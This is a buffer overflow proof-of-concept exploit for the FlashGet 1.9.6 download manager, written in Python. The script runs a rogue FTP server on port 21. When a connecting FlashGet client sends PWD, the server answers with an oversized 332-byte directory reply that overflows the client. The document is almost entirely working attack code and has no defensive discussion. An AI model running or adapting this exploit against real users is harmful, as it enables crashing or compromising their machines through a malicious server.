FlashGet 1.9.6 Buffer Overflow Proof Of Concept

`#!/usr/bin/python  
# Exploit Title: FlashGet 1.9.6 0day Remote Buffer Overflow  
# Date: 2020.05.02  
# Author: Milad Karimi  
# Testen on: Kali Linux  
# Software Link: http://www.flashget.com/en/download.htm?uid=undefined  
# Version: 1.9.6  
# CVE : N/A  
  
  
from time import sleep  
from socket import *  
  
res = [  
'220 WELCOME!! :x\r\n',  
'331 Password required for %s.\r\n',  
'230 User %s logged in.\r\n',  
'250 CWD command successful.\r\n',  
'257 "%s/" is current directory.\r\n' # <-- %s B0f :x  
]  
  
buf = 'A' * 332  
  
s = socket(AF_INET, SOCK_STREAM)  
s.bind(('0.0.0.0', 21))  
s.listen(1)  
print '[+] listening on [FTP] 21 ...\n'  
c, addr = s.accept()  
c.send(res[0])  
  
user = ''  
  
for i in range(1, len(res)):  
req = c.recv(1024)  
print '[*][CLIENT] %s' % (req)  
tmp = res[i]  
if(req.find('USER') != -1):  
req = req.replace('\r\n', '')  
user = req.split('\x20', 1)[1]  
tmp %= user  
if(req.find('PASS') != -1):  
tmp %= user  
if(req.find('PWD') != -1):  
tmp %= buf   
print '[*][SERVER] %s' % (tmp)   
c.send(tmp)  
  
sleep(5)  
c.close()  
s.close()  
  
print '[+] DONE'  
  
# Discovered By : Milad Karimi  
`